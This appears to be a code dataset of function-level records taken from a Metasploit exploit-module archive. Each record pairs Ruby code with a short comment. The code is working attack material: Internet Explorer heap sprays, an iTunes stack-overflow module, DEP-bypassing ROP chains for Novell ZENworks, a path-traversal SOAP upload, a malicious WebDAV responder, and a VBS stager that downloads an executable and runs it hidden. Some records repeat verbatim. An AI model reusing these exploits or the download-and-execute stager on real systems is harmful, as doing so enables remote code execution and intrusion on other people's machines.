archive/exploits/windows/remote/18833.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18833.rb
|
MIT
|
def get_random_spray(t, js_rop, js_code, js_90_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var rop = unescape("#{js_rop}");
var code = unescape("#{js_code}");
var nops_90 = unescape("#{js_90_nops}");
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset_length = #{t['RopChainOffset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length - code.length);
var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
|
Spray published by corelanc0d3r
Exploit writing tutorial part 11 : Heap Spraying Demystified
See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
get_random_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19186.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19186.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'iTunes Extended M3U Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.
When opening an extended .m3u file containing an "#EXTINF:" tag description,
iTunes will copy the content after "#EXTINF:" without appropriate checking
from a heap buffer to a stack buffer and write beyond the stack buffers boundary.
This allows arbitrary code execution.
The Windows XP target has to have QuickTime 7.7.2 installed for this module
to work. It uses a ROP chain from a non safeSEH enabled DLL to bypass DEP and
safeSEH. The stack cookie check is bypassed by triggering a SEH exception.
},
## NOTE ##
# Exploit works best if iTunes is not running and the user browses to a malicious page.
# But even if iTunes is already running and playing music, the exploit worked reliably
#
# remote code execution is possible via itms:// handler, which instructs a browser to open
# iTunes:
# Safari does not prompt for iTunes itms links -> RCE without user interaction
# Firefox, Opera, and IE ask the user for permission to launch iTunes
# Chrome asks for permission and spits a big warning
'Author' =>
[
'Rh0 <rh0 [at] z1p.biz>' # discovery and metasploit module
],
'Version' => '0.0',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => ['win'],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404
},
'Targets' =>
[
['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.7.2 - Windows XP SP3 EN Professional',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'SEH' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts v7.7.2]
'ROP_NOP' => 0x66801044 # RET
}
]
],
'DefaultTarget' => 0
))
register_options(
[
OptPort.new('SRVPORT', [true, "The local port to listen on", 80]),
OptString.new('URIPATH', [false, "The URI to use for this exploit", "/"]),
],
self.class
)
end
|
e.g.: put this module into modules/exploit/windows/browser/itunes_extm3u_bof.rb
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19322.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19322.rb
|
MIT
|
def generate_redirect_ie(m3u_location)
ie_redir = <<-HTML_REDIR
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="refresh" content="0; URL=#{m3u_location}">
</head>
</html>
HTML_REDIR
return ie_redir
end
|
IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header...
... so use html
|
generate_redirect_ie
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19322.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19322.rb
|
MIT
|
def generate_redirect_ie(m3u_location)
ie_redir = <<-HTML_REDIR
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="refresh" content="0; URL=#{m3u_location}">
</head>
</html>
HTML_REDIR
ie_redir = ie_redir.gsub(/^\t\t\t/, '')
return ie_redir
end
|
IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header...
... so use html
|
generate_redirect_ie
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19387.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19387.rb
|
MIT
|
def build_vbs(url)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
tmp = "#{@temp_folder}/#{@stager_name}"
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
return vbs
end
|
Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times.
See "real_arcade_installerdlg.rb" for more information.
|
build_vbs
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19718.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19718.rb
|
MIT
|
def create_rop_chain()
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
return rop_gadgets
end
|
rop chain generated with mona.py
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19931.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19931.rb
|
MIT
|
def create_rop_chain()
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
return rop_gadgets
end
|
rop chain generated with mona.py
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19932.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19932.rb
|
MIT
|
def create_rop_chain()
if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
nop,
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
else # Novell ZENworks Configuration Management 10 SP2
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
end
return rop_gadgets
end
|
rop chain generated with mona.py
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19958.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19958.rb
|
MIT
|
def create_rop_chain()
if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
nop,
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
else # Novell ZENworks Configuration Management 10 SP2
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
end
return rop_gadgets
end
|
rop chain generated with mona.py
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/19959.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/19959.rb
|
MIT
|
def create_rop_chain()
rop_gadgets =
[
0x77c2f271, # POP EBP # RETN [msvcrt.dll]
0x77c2f271, # skip 4 bytes [msvcrt.dll]
0x77c5335d, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c4e392, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34de1, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479e2, # POP EDI # RETN [msvcrt.dll]
0x77c39f92, # RETN (ROP NOP) [msvcrt.dll]
0x77c3b8ba, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c4e392, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c51025, # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
return rop_gadgets
end
|
rop chain generated with mona.py
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20112.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20112.rb
|
MIT
|
def upload_file(file_name, contents)
traversal = "..\\" * datastore['DEPTH']
soap_convert_file = "<SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
soap_convert_file << "xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
soap_convert_file << "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" "
soap_convert_file << "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" "
soap_convert_file << "xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" "
soap_convert_file << "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "<i2:ConvertFile id=\"ref-1\" "
soap_convert_file << "xmlns:i2=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface\">" << "\x0d\x0a"
soap_convert_file << "<launcherUri id=\"ref-3\">http://#{rhost}:8082/HtmlTrLauncher</launcherUri>" << "\x0d\x0a"
soap_convert_file << "<appExe id=\"ref-4\"></appExe>" << "\x0d\x0a"
soap_convert_file << "<convertFrom id=\"ref-5\">#{traversal}#{file_name}</convertFrom>" << "\x0d\x0a"
soap_convert_file << "<convertTo id=\"ref-6\">html</convertTo>" << "\x0d\x0a"
soap_convert_file << "<fileBits href=\"#ref-7\"/>" << "\x0d\x0a"
soap_convert_file << "<taskName id=\"ref-8\">brochure_to_html</taskName>" << "\x0d\x0a"
soap_convert_file << "<configInfo id=\"ref-9\"></configInfo>" << "\x0d\x0a"
soap_convert_file << "<timeout>20</timeout>" << "\x0d\x0a"
soap_convert_file << "<fReturnFileBits>true</fReturnFileBits>" << "\x0d\x0a"
soap_convert_file << "</i2:ConvertFile>" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENC:Array id=\"ref-7\" xsi:type=\"SOAP-ENC:base64\">#{Rex::Text.encode_base64(contents)}</SOAP-ENC:Array>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"
http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"
http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"
http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"
http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"
http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"
http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"
http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"
connect
sock.put(http_request << soap_convert_file)
data = ""
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
disconnect
return data
end
|
Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get
the response maybe due to the 100 (Continue) status response even when the Expect
header isn't included in the request.
|
upload_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20122.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20122.rb
|
MIT
|
def check
peer = "#{rhost}:#{rport}"
filename = rand_text_alpha(rand(10)+5) + '.txt'
contents = rand_text_alpha(rand(10)+5)
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
res = upload_file(filename, contents)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
|
The check tries to create a test file in the root
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20122.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20122.rb
|
MIT
|
def get_random_spray(t, js_rop, js_code, js_90_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var rop = unescape("#{js_rop}");
var code = unescape("#{js_code}");
var nops_90 = unescape("#{js_90_nops}");
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset_length = #{t['RopChainOffset']};
for (var i=0; i < #{t['SprayBlocks']}; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length - code.length);
var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
|
Spray published by corelanc0d3r
Exploit writing tutorial part 11 : Heap Spraying Demystified
See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
get_random_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20202.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20202.rb
|
MIT
|
def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var nops_90 = unescape("#{js_90_nops}");
var counter = unescape("#{js_counter}");
var stack_pivot = unescape("#{js_stack_pivot}")
while (nops_90.length < 0x80000) nops_90 += nops_90;
for (var i=0; i < #{t['SprayBlocks']}; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var offset = padding.substring(0, #{t['SprayNops']});
var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);
var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length - nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);
var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;
var single_sprayblock = offset + nops + offset_2 + counter + nops + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
|
Spray published by corelanc0d3r
Exploit writing tutorial part 11 : Heap Spraying Demystified
See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
get_random_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20297.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20297.rb
|
MIT
|
def get_rop_chain
rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
return rop
end
|
ROP chain (msvcr71.dll) generated by mona.py - See corelan.be
|
get_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20297.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20297.rb
|
MIT
|
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20321.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20321.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20321.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20321.rb
